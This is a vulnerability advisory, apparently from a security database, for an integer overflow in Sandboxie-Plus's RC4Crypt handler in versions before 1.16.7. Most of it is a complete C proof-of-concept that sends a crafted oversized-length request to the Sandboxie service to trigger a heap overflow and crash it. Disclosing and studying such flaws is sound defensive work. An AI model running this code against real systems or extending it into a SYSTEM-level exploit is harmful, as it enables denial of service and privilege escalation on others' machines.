Integer Overflow or Wraparound Affecting sandboxie-plus/Sandboxie package, versions [,1.16.7)

Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the SbieIniServer::RC4Crypt function. An attacker can achieve arbitrary code execution as SYSTEM by supplying a large value to the value_len parameter, causing a heap overflow when data is copied into an undersized buffer.

// Researched by Mav Levin (@mavlevin) at DepthFirst (depthfirst.com)

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdint.h>
#include <stdio.h>

typedef struct _MSG_HEADER {
    ULONG length;
    union {
        ULONG msgid;
        ULONG status;
    };
} MSG_HEADER;

#define MSGID_SBIE_INI_RC4_CRYPT 0x180F

typedef struct _SBIE_INI_RC4_CRYPT_REQ {
    MSG_HEADER h;
    ULONG value_len;
    UCHAR value[1];
} SBIE_INI_RC4_CRYPT_REQ;

typedef MSG_HEADER* (__stdcall* PFN_SbieDll_CallServer)(MSG_HEADER*);

int wmain(void)
{
    HMODULE sbie = LoadLibraryW(L"SbieDll.dll");
    if (!sbie) {
        wprintf(L"[!] LoadLibrary(SbieDll.dll) failed: %lu\n", GetLastError());
        return 1;
    }

    PFN_SbieDll_CallServer CallServer =
        (PFN_SbieDll_CallServer)GetProcAddress(sbie, "SbieDll_CallServer");
    if (!CallServer) {
        wprintf(L"[!] GetProcAddress failed: %lu\n", GetLastError());
        return 1;
    }

    const ULONG payload_size = 32;
    const SIZE_T req_size = sizeof(SBIE_INI_RC4_CRYPT_REQ) + payload_size;
    SBIE_INI_RC4_CRYPT_REQ* req =
        (SBIE_INI_RC4_CRYPT_REQ*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, req_size);
    if (!req) {
        wprintf(L"[!] HeapAlloc failed\n");
        return 1;
    }

    req->h.length = (ULONG)req_size;
    req->h.msgid = MSGID_SBIE_INI_RC4_CRYPT;
    req->value_len = 0xFFFFFFF0;            // forces rpl_len to wrap
    memset(req->value, 'A', payload_size);

    wprintf(L"[*] Sending RC4Crypt request (declared len = 0x%08X, real len = %lu bytes)\n",
        req->value_len, req->h.length);

    MSG_HEADER* rpl = CallServer(&req->h);  // should crash SbieSvc

    if (!rpl)
        wprintf(L"[+] Call returned NULL (service likely died)\n");
    else {
        wprintf(L"[?] Service still responded (status=0x%08X)\n", rpl->status);
        HeapFree(GetProcessHeap(), 0, rpl);
    }

    HeapFree(GetProcessHeap(), 0, req);
    return 0;
}

• GitHub Commit